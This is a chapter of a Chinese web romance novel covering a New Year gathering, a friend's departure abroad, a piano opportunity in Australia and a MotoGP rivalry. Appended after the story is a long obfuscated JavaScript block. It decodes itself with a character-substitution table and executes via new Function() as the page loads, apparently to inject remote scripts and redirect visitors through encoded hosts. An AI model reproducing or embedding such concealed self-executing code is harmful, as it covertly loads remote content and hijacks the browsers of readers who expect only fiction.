第九十二章(2 / 2)

方格玻璃 帘十里 0 字 2021-04-25

“你怎么知道?”

江珃低头笑了笑,“宋逸晟,谢谢你。”

谢谢你能够这样坦坦荡荡的来到杨继沉身边,让他不是孤单的一个人。

宋傻白甜:“咱俩谁跟谁!不就两个红薯钱,谢啥!诶,你那书也借我看看呗!”

“我不看那些的。”

“少来,你上课和张佳佳看的,我都看到了,什么大腿什么伸进去的。”

“那是言情小说啦。”

“看着还挺带感的!”

……

宋逸晟跟着江珃回了墨城,美名其曰护送她回家,其实就是想凑热闹,和大伙一起过年。

颇有默契的,大家都聚在了墨城,江珃舍弃不下那座老房子,还有孙婆婆他们,毕竟是她从小待到大的地方。

周树他们没地住,又不想住宾馆,求了好半天杨继沉才同意让他们住他那儿。

除夕那天的鞭炮声没断过,江眉做了一桌子菜,大伙入座,江珃却在院子门口张望。

杨继沉边走边点烟,夹着烟抽了口,走到她身边说:“还没来?”

“嗯,也不知道是不是….来了来了,芸仙!”江珃跑了出去。

杨继沉倚在石柱上,笑了笑,一口接一口的抽着,不远处的两个小姑娘相拥在一起,寒风凛冽,情谊却真切。

为了这顿饭,郑锋特意买了张大圆桌,大伙围在一起吃饭,热热闹闹。

周树一向话最多,喝醉了话更多,他说:“教练,感谢您,特感谢您,这杯敬你!”

“诶好!”

贺群也敬了杯。

周树说:“教练他女婿,这杯敬你,也特感谢您。”

杨继沉懒散的靠着椅子,笑说:“有毛病?”

周树:“我说教练他女婿,你啥时候正式成为教练他女婿啊!”

江珃正和季芸仙说话呢,听到这个话题不自觉得竖起了耳朵,佯装一脸淡定的看着杨继沉。

杨继沉拉过她的手放在自个大腿上,他说:“急什么,要催也轮不到你催。”

“诶!我怎么能不催!大过年的不催啥时候催!这时候就应该问工催婚!这是过年必备!”

大伙笑了起来。

郑锋说:“行了,再过两月杨继沉就要开始MotoGP的比赛了,先别分心。我也催催你们,你们俩也自己抓紧点,找个女朋友,事业往上走着,家就不要了?”

周树:“你们都一对对的,就欺负我和贺群,呜呜呜呜,群群,小群群……”

宋逸晟想喝酒,却被江珃的眼神吓住了,她在告诉他:你还想喝酒?你不能喝酒。

宋逸晟只好作罢,端起果汁喝,刚喝上一口就听见边上的姑娘说:“你眼瞎?这是我的杯子。”

宋逸晟赶紧放下,“姑奶奶,拿错了拿错了,我给您重新拿个杯子去。”

季芸仙:“不用了,我不喝。”

宋逸晟一笑,“是我的错是我的错,要不您再给我画个大老虎?”

“谁稀罕啊。”季芸仙哼的一声别过头。

饭桌上吵吵闹闹,男人喝多了个个都话多,郑锋更是煽情泪下,江眉连翻了好几个白眼。

江珃一直控制着杨继沉的酒杯,杨继沉也不是爱喝酒的人,倒也无所谓,只是陪着他们几个聊聊天,说说赛事。

外面烟花砰砰作响,吃的也差不多了,江珃帮着整理了一些,留下些下酒菜给他们唠嗑。

江珃拿了包新的纸巾放桌上,转身要走却被杨继沉拉住了手。

他另外只手捏着烟,搭在一侧,他揉捏着她的手指骨,说:“你去哪儿?”

轻轻的,淡淡的,最是平常的一声询问,却让江珃莫名心动。

江珃说:“不是给芸仙买了烟花吗,我去拿给她玩。”

杨继沉点点头,拍拍她屁股,“去吧。”

江珃:“少抽点,我给你们泡点茶过来,醒醒酒。”

“嗯。”

江珃走了几步回头,杨继沉坐在斜前方,闲散的靠在那儿,一手夹着烟,一手转着打火机,毛衣袖口挽起一截,露出的手边筋络微微凸起,彰显着男人的清俊和力量感,不知道郑锋说了什么,他勾着嘴角笑了起来,身上已经没了那种少年气,反倒透着风光霁月般的稳重感,只是他的桀骜不羁是天生,那种痞气怕是这辈子都改不了。

……

季芸仙一个人靠在老墙上,纤细的手指间夹着一根烟,她刚递上嘴,就被抓了个正着。

宋逸晟把一罐果汁递给她,“喏,赔你的。”

“我不喝。”

“去了国外就是不一样啊,还学会了抽烟啊,国外的女生都抽烟的?”

“关你屁事。”

宋逸晟伸手夺走了她的烟,“行了,女孩子家家抽什么烟,牙黄口臭,还要得肺癌。”

季芸仙烦躁的抓了抓头发,“关你什么事儿?你谁啊?你有病吧?”

“脾气见长啊。”宋逸晟踩灭了她的烟,居高临下的看着她,“脾气再大也不是事,但不能学坏,这些东西对你来说没什么用,还不如吃几颗糖,什么尼古丁解人忧愁,这只是一种让人上瘾的玩意而已。”

“有病!”季芸仙推开他。

宋逸晟往后踉跄了几步,差点摔倒。

“你这手劲怎么那么大,我有心脏病的,你可别吓我。”

“我看你确实有病,吓死活该!”

“你这嘴还真是不饶人啊……算了算了,谁让我脾气好呢。”宋逸晟摸了摸她脑袋,“喝果汁吧,咱们不吵架,行吗?”

季芸仙怔了怔,冷着脸接了过来。

宋逸晟也往老墙一靠,抬眼看着月亮,他说:“我真有心脏病,那时候被你在教室追,差点升天,还好我及时控制住,不然你会追得到我?以前一位天师说过,我可是天生的运动健将,要是我没这病,这会都轮不到姚明陈翔,我能为国争一百个光。”

季芸仙切了声,“你就瞎扯。”

“笑了啊?笑了就成。开心点呗,过年总是好的是不是?”

“好个屁……”

……

大伙守岁到天亮,后半夜打起了麻将,也没太讲究输赢,可周树还是输了个精光。

他哇哇大叫,“小珃,你太不够意思了,咱们第一次打麻将的时候你可不是这样的!那会多客气啊,还要把钱还我,现在下手可真狠啊。”

江珃笑着,“周树哥,今时不同往日。”

“什么不同往日,你们就是打夫妻牌!”

杨继沉:“你哪只眼睛看到打夫妻牌了?”

周树贺群江珃宋逸晟四人打的牌,季芸仙在边上嗑瓜子,二老上楼去了,似在看电视,估摸着郑锋早睡着了。

周树拍案而起,“你们他妈的这不叫夫妻牌?”

杨继沉坐在椅子上,江珃坐在他身上,他抱着她,她打牌,偶尔轻声细语的交谈。

杨继沉扬起眉峰,问其他人,“这是吗?”

宋逸晟:“嘿,当然不是!怎么会是呢。”

贺群:“不是。”

季芸仙:“不是。”

周树:“好啊,你们这群人,不行,老子要翻身!要革命要崛起!”

周树把大衣一甩,撸起袖子,洗牌,“来来来,再来!”

杨继沉单手揽着她,从桌上拿烟,刚碰到就被江珃打了下手。

江珃:“今晚都第几根了,身上都是烟味儿。”

杨继沉笑了,嗅了嗅,“味道很重?我怎么闻不到?”

“老烟鬼。”

杨继沉抱紧她,下巴搁颈窝那儿,他轻轻闻她身上的味道,沙哑道:“你身上很香啊。”

江珃一痒,扭了扭,笑了出来,“别……”

杨继沉眼尾微微上挑,和她拉开距离,笑着看她的后脑勺,她染的头发颜色越来越浅,更是依旧很好看,黄棕色的头发被她随意扎成一个球,白皙的脖颈间有几根发丝垂荡着,衬得少女气息十足。

“胡了胡了!”江珃把牌一摊,转过头看杨继沉,笑得眼睛弯成月牙,“我又赢啦!”

杨继沉:“可以啊,江师傅这手气,看来2010年运气会很好啊。”

江珃没想太多,全心全意的打着,她不迷恋牌局,也只会在过年过节打着玩,偶尔玩那么几次还真挺有意思的。

杨继沉耐心十足,抱着她坐了一晚上。

天亮收场去放鞭炮,放完,都散了,宋逸晟住在江珃家,周树他们睡杨继沉那儿,季芸仙说什么也不肯多留,回去了。

江珃把赢的钱分了几个放在红包里,进浴室洗漱,出来时,果不其然,她床上已经躺了个人。

这次回墨城,杨继沉倒没有一次跳窗过,都是光明正大进来的,也不曾留宿过,有过几次缠绵,都是他勾引她去的他那边。

江珃边擦脸边走出来,问道:“怎么过来了?”

“腿麻,来找江师傅松松筋骨。”

江珃坐在书桌前涂抹护肤品,“江师傅今天手很酸。”

“赢钱赢的手酸?”

江珃愉悦一笑。

杨继沉坐起身,曲起右腿,直接把人拉了过来。

“等会……我还没涂完呢。”

杨继沉按住她脑袋,吻了上去。

匆匆忙忙完事,他兴致高涨,也没用很多时间,就这么几下完了。

江珃穿保暖裤,爬进了被窝,靠在他怀里,她戳他胸口,“禽兽,坏蛋,色狼。”

杨继沉随她骂随她戳,想抽根烟,又想着她肯定不让,于是干脆喝了口水。

他说:“我在你这儿睡,周树打呼噜,吵得不行。”

“我这儿是什么?是宾馆啊?还是按摩院啊?”

杨继沉嘴角弯起,“按摩院吧,这个听着形容的贴切些,或者,洗脚房也行。”

“你还去过洗脚房啊?”江珃顺着他的话杆子往上爬。

“我还真去过。”

江珃推他,往边上挪了点,又被杨继沉拉了回去。

他懒洋洋道:“那会刚和周树他们认识,喝多了没事干,走在路上瞎扯,看到一洗脚房,里头的姑娘排排坐,说谁进去就喊谁爸爸,我想着还挺赚,就走进去了。”

“然后呢?”

“然后那些女的都围上来,问我要哪个女的帮着洗脚,我就指定了一个。”

“然后呢?”

“然后……就洗脚了啊,按摩手法真的不错。”

江珃一愣,这才反应过来他又在逗她。

杨继沉敲敲她脑门,笑得不行,“你怎么那么好骗?”

“你讨厌!走开!”

杨继沉掐她屁股,“当然,还是江师傅的手法最舒服了。”

江珃背过身不理他,杨继沉靠着床背坐了会,然后顺势躺下从后抱住她。

冬日清晨的光清新而淡薄,穿透浅色的窗帘,空气中的细小尘埃漂浮着。

不知怎么,杨继沉突然低低的说:“再等一等我,很快了。”

……

这个春节只下了一点点的雪,想捏个雪球还得收集好一会,雪下了融融了下,路面和屋檐一直是湿漉漉的,雪融的时候最冷了,那种湿冷能渗骨。

最近流行十字绣,江珃绣了一个寒假,终于在雪融的时候得了冻疮。

右手食指那儿红烂了一小块,又痒又疼,江眉给她抹药膏,郑锋没收十字绣,杨继沉给她买了副超级厚的棉手套,一天二十四小时戴着不准摘。

于是江珃就成了独臂大侠,右手总是被裹在手套里,只能分清大拇指,剪刀石头布也只能出布和拳头,像哆啦A梦的手。

江珃既觉得好笑又觉得无奈,一个冻疮让全家人围着团团转,那要是缺胳膊断腿还不知道要怎样。

杨继沉和季芸仙先后离开墨城,江珃走进机场,这手特瞩目。

连季芸仙也笑了,说:“小珃,你这样子怪滑稽的。”

穿的跟个韩剧女主角一样,手上却戴着一个蓝色的卡通棉手套。

这个假期江珃几乎没见她笑过,她的心情好好坏坏,是怎么也笑不出来的,任何美好的事物摆在她眼前,她都浑然不知,心思不在这儿。

难得,季芸仙笑了。

江珃倒觉得这冻疮生的值得。

季芸仙没有在季家多逗留,反而一门心思远赴澳大利亚。

她说:“我走了。”

江珃现在是真害怕听到这三个字了,她没忍住,叫住了季芸仙。

季芸仙知道她要说什么,她说:“我不好,一点儿都不好,到了那边不会开心,不会睡好觉,小珃,一切都不会好的。”

“那……你去看过嘉凯了吗?”

季芸仙直到春节前夕才回墨城,她不知道她有没有去浙州看过张嘉凯。

季芸仙抬头,看了眼江珃,又低下头,“看了。”

她去过了。

江珃柔声道:“芸仙,我们都要往前走的,你也得往前走,只是这段路又远又长,也只有你自己一个人能走过去,相信我,会有一天一切像重新来过一样的。”

“那需要多久?我不知道需要多久,所以觉得难受,一点儿都看不到头。”

“那我们打个赌,我赌两年,芸仙,我们就赌两年,等我们毕业的时候再来看这件事怎么样?”

“两年……好啊……”

江珃塞了一条薄荷糖给她,“新生活应该是糖和鲜花,不应该是烟和酒。”

季芸仙垂下眼,嗯了声。

“快进去吧,到了那边给我发短信。”

“好。”

……

浙州的四月多雨,阴雨绵绵了好几日才得以见晴。

江珃的日子一复一日的过着,作为一个大学生她真的很普通了,两点一线,上课吃饭睡觉遛狗。

可四月初杨继沉开始了MotoGP的赛事,第一站是卡塔尔。

他很忙,忙的几户都无暇顾及她,江珃也没多想,只是担心,也许是张嘉凯的事情留下的影响太大,她每次一见到他要上赛道都会这样担心。

很多东西都是一瞬间的,发生了就来不及了。

这场赛事从四月举办到了十一月,整整七个月,十八个站。

江珃经历了一个人从冬天到春天到夏天再到秋天的滋味,暑假在家两个月,郑锋本想带她去国外观战,可想来想去都觉得麻烦,她不想让杨继沉分心。

他前面十几站的水平比较稳定,虽然名次一般,但听郑锋说,这已经足够了,如果能稳到最后一站,总积分不会太差,应该能排得上名次,总之,这‘第一人’非他莫属。

九月开学升大三,江珃的课程更少了,简直称得上是无所事事。

双学位那儿练了两月钢琴,十月底月的时候江珃得到了个好消息。

那位爆老师来电话时江珃正躺在床上剪指甲,小狗叼着球到处跑,江珃边让它乖点边剪,手机响了。

爆老师说:“江珃是吗?我这边有个名额,要试试吗?”

就这么,江珃的十一月被安排去了澳大利亚,一场演奏会正在等着她。

江珃就差抱着徐单哭了。

这两年弹的手指都快断了,也算熬出点头了。

江珃是个特别容易满足的人,她觉得这可能是她人生最辉煌的时刻,但也不碍事,这已经足够了。

当晚江珃就把这个好消息告诉了杨继沉。

杨继沉刚结束葡萄牙站的赛事,正在机场候机室等着飞往澳大利亚的飞机,小姑娘在电话那头兴奋了半天,声音很有生气,反复说做梦也没想到。

杨继沉说:“是啊,真是做梦都没想到。”

江珃诉说完自己的喜悦,问道:“你最后一站是几号?”

“十一月七号。”

“老师说,要先去彩排练习个把星期,演奏会在十一月中旬。还好寒假的时候爸爸带我办了护照,原本他是想带我去看你比赛的,现在倒成了演奏会的踩踏板。”

江珃呈一个‘大‘字躺在床上,小狗跳上来舔她手,江珃笑呵呵的翻了个身,“杨杨,痒,乖,下去。”

杨继沉双腿搭着,手里捏着口香糖的包装纸,他笑着说:“七号的比赛要来看吗?”

“我不太确定能不能出去,如果可以的话我就去,阿沉,我们好久没见面了。”

“急什么,最多还半个月,实在不行等我比完了我去找你,和你一起回国。”

“好啊……”江珃摸着小狗,说:“那回来了以后呢?你要继续去训练吗?”

杨继沉把包装纸叠成一个小方块,慵懒道:“不去了,我在家相妇教狗。”

“你又胡说。”

“怎么就胡说了,那狗是得好好教教,不该看就别乱看,做狗得识趣。”

话落,候机室里进来两三个人,杨继沉抬眼,不紧不慢的补充道:“做人也得识趣。”

“和女朋友打电话呢?”一人问。

杨继沉微微挑眉示意。

江珃听到动静,问道:“你在哪儿啊?”

“机场。”

“今天就过去吗?”

“对啊。”

江珃:“累不累?在飞机上睡一会吧,到了那边和我说一声。”

“好,早点睡,别搞那些什么十字绣了,听话。”

江珃嗯了声,眼珠子瞟着墙上裱好框的花开富贵十字绣。

……

挂了电话,杨继沉和边上的人闲聊了几句。

边上的人说:“YANG,等最后一站完了回去得好好休息一下,到时候要不要搞个庆功会?”

闻言,坐在另外一侧的蒋龙抬起眼皮瞥了一眼他们,颇为讥讽的笑了声。

这一笑,候机室里的气氛就奇怪了起来。

“YANG,我说这比赛好歹能和F1齐名,怎么如今什么人都能进。”

杨继沉把口香糖的包装袋拆了开来,重新折叠,笑道:“有钱能使鬼推磨。”

蒋龙一听炸毛了,把手里的东西一摔,怒瞪着眼,“你他妈说谁呢?”

杨继沉淡淡的看着他,似笑非笑着。

蒋龙冷笑一声,站起身,少年趾高气扬的模样看起来特有冲劲,但过了头就显得愚蠢。

杨继沉看着他这幅模样仔细回想了翻自己的过去,自己是不是也曾这么狂傲,有吧,但没这么显摆和无事生非。

蒋龙:“你真他妈以为自己吊的不行了?搁这里还不是被人甩下一大截。”

杨继沉抬手,把捏成方块的包装纸扔进了垃圾桶,漂亮的弧度,精准无误的扔了进去。

“能甩你一截就行了。”杨继沉说。

国外高手如云,杨继沉也有幸和MotoGP之王罗西同赛道跑圈,他们都是代表雅马哈车队出赛的,也算得上是同门,只是国籍不同,个人荣誉不同,名次先后,只要能得,那都是雅马哈收益。

只可惜,今年的罗西在穆杰罗赛道受伤,两个分站冠军,得了第三名。过去九年蝉联九届MotoGP世界冠军,如果这次没有受伤,十连冠听起来倒是更激动人心。

那些MotoGP的老将,比杨继沉都有经验,实力也都更胜一筹,中国在赛车这方面确实不如国外的,但近几年发展的也算快,以后未必没有立足之地。

原本能去参加的名额只有杨继沉一个,他是被雅马哈赞助去的,而蒋龙能去倒是让盛覃费了很大一番功夫。

张嘉凯离世的那个夏天,蒋龙也被邀请去日本训练,盛覃最不差钱,以公司的名义赞助了两千万给蒋龙进MotoGP。

这中国第一人的位置就像皇帝座椅一样,有点想法的,都会被吸引。

蒋龙觉得可笑,“甩了我又怎么样,不到最后一刻谁知道结果究竟怎么样?”

“是啊,不到最后一刻真不知道结果怎么样。”杨继沉笑笑说,“毕竟上帝的心意很难揣测。”

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();